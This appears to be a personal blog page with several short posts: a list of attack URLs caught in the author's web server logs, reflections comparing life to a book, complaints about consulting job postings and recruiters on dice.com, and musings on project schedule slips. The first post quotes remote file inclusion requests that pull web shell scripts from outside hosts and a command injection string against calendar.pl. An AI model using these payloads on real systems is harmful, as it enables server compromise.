A few favourite URL's passed to source display on my website

Hey guys spare my web-hosting providers.. some of the URL's scanned on the system are,

- /sscripts/common/source.php?page=http://www.a511.com/fr/gr/config.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php?cmd=ls
- /cgi-bin/calendar.pl?configdir=|echo%20;echo%20;id;echo%20;echo|
- /sscripts/common/source.php?page=http://paginas.aol.com.br/linuxerlinuxer/cmd.txt?&cmd=id

and most of them originated from ukraine :)

Life as Book

Thought of comparing life with various surrounding real world objects. Today I would start this series with a book,

A life book starts with "Birth" and ends with "Death". These two incidents are the markers which puts a definable boundary on the book. Life itself has Pre- & Post- history attached which are similar to "Reasons for new Book" & "Book Review/Appreciation" respectively.

Book Cover: Personal Outlook... useful specially for people getting in "Love at First Sight", most of the time good books come with non-fancy covers so does people in real life.

Book Publisher Info: Parents/family etc...

Book Preface: A brief about life.. What we think about life, how It should be... All talks about "My life is the MOST Ideal Life"

Table Of Contents: ... Something which is very idealistic organization, and one of the things that cannot be directly compared with anything in real-life .. Yes it is enhanced at each step in life, but is complete only at the end of life, for someone else to read :).

Chapters/Sections: Various remembered/written incidents/flow in the life. There would be good chapters, bad chapters, chapters which you would like to read again & again.. Chapters which you would never like to read.

Index: ... This is the second thing which is very idealistic to list right at the beginning.. that is why it is always at the end of the book I guess.. So even in life it happens to be complete only with the end of life.

A book is good only if it suits our requirements, it contains something which we love reading or which raises our adrenalin.... Similarly life is beautiful only if lived with the correct mixtures of chapters of different strength/taste. If all the incidents that happen are good, then how do we learn about the bad incidents and learn from that experience...

As all of us know everything cannot be learnt from books, those are the moments when life takes over the books. Although book teaches us most of the solutions, still it is theoretical.

Finding Jobs on dice.com seems to be pretty easy problem!!!! Try this one

Searching consulting job on dice.com is no more a simple problem of searching by the keywords, Here's a sample job search problem, The following links specify the opening at "Intel.. Parsippany" for their MCPD division (HMP boards etc.), which is posted by 6 consulting companies with varied rates, and believe me non of them are the direct vendors..(because I got a mail from direct vendor's too) and variation in High-to-Low rates are as much as 50%. The problem is to find the best paying consultancy out of the listed ones and their levels of operations (No. of Layers involved for the given consultancy) to estimate the actual bill rate that flows out of "Intel Corporation"

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/d/b/dbd29b6c84e0738c781ecfccba3ef7d5@activejobs0&c=1&source=1

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/b/7/b78d2935cd91bc7f22d5da91c14f99e4@activejobs0&c=1&source=1

http://seeker.dice.com/jobsearch/servlet/JobSearch?op=1002&dockey=xml/7/a/7a375cc990ce010c9a18bd774ed93dd6@activejobs0&c=1&source=1

http://seeker.dice.com/seeker.epl?op=5&type=16

http://seeker.dice.com/seeker.epl?op=5&type=16


If you read the job description, they have most of the things similar but in different fashion... One goes to the extent of changing the location name (which is really speaking the same place). Since the position is supposed to be closed by March 1, 2005, these links may remain active for may be another one week, Can someone find me the best consultancy to apply for??

As You Sow, So You Reap! What are the other factors involved?

Is that really true? Is so, to what degree? There are so many questions that are left unanswered when we read about something.. Or even for each and every thing we do in our daily life. The things are unanswered because they need not be answered for us to progress with a few things and most of things in this world are relative except birth, death and, self-satisfaction.

There are external factors which affect (not effect) the system, nature has its own way of controlling others by means of Tsunami's etc.. That's true for almost every system that we see, our software projects don't (in-fact never) go according to what we plan, what are the causes there , most of the times, the schedules slip, are reasons good enough for that when people with say 10-15 years of development experience have been discussing about the whole plan for about 1-2 months. Do we ever question any director or project manager's capabilities when 6 month project plan schedule slips by say 2 months (that is basically slippage by 33% in terms of the time involved, and much more than 133% of the cost involved). How many times do we have the feedback loop to imbibe resolutions for the failure in the organization? Most of us always try to design/develop/plan for the best case scenarios, but those things don't always work in real world, else guys would not have come out with things like negative testing, (that the testing guys should focus more on breaking the system). Indeed of testing only for normal conditions, check more for the adverse conditions. The whole world is moving towards more autonomic, self-health checking & healing systems, but there too, we do always consider the adverse conditions and can never specify foolproof system. Phenomenon like stock market crash (which is more human controllable), or some natural disaster (which is not human controllable in all ways) are the external factors which always affect any healthy system working perfectly.

A person who wins, whether with good practices or bad practices are always sung /write history, whereas a good guy /team who looses are always written down as losers in the history, or rather they do not exists in the history any more.

Considering facts, according to study at MIT 99% of software product startups fail, does that mean that, 99% of people who start new enterprise, start with fluke or with predetermined will to fail. The problem being relativity, working hours are not the same everywhere, nor is success. So its not only how you sow, but also how you cultivate 'n' finally reap along with other external factors, like the environment... What I consider to be very important are Time, Place, Effort and Money.

Bosses: 10 tips for better e-mails

Nice tips on writing email in general and to the bosses specifically. Most of the
tips holds true for the generic email usage too.

Bosses: 10 tips for better e-mails

State of US Staffing Market!!! Pathetic

Here are a two of the cutouts from the jobsite www.dice.com, These are two stupid funny ones I could remember to paste here.... and If you are searching through that database everyday, you could come across many such, which shows the pathetic condition of the Technical Recruiters, either they lack Technical Knowledge (They shouldn'd be technical recruiters then) or they don't know how to write english (They shouldn't be recuiters in this domain) or they don't understand what they have written (Again they shouldn't be recruiters in this domain)...

This may be a bit harsh to comment but it's true, Its better to learn from Past (By which I mean the DotCom Market Crash) or else get ready for another one due to the lack of quality that would be delivered to the Services Segments (Mostly Financial).

Posting 1
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Title: C++ developer
Skills: C++ , Fixed Income, Cash Flow, Cash bonds

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**** PLEASE NOTE THAT ONLY C++ CANDIDATES WITH NO BANKING AND/OR FIXED INCOME EXPERIENCE WILL NOT BE CONSIDERED ****

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Title: C++ /Desktop Developer
Skills: C#/.net/desktop/ Unix , Linux or Windows/TCPIP/XML/Engineering

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Job description: A major NYC brokerage firm is looking for a high level C#/Desktop developer to work with their video conferencing area. The person hired will learn about video conferencing products (which is a major growth area). The company has recently rolled out this technology,now needs someone to program it to become user friendly on the desktops of people within the firm. The ideal candidate will be very strong in C#, MS desktop tools (specifically .net) and will have experience with either Linux , Unix , or Windows (specifically outlook programming and Pawn manipulation),TCPIP,XML and some engineering experience.
It is a huge plus to have video conferencing experience
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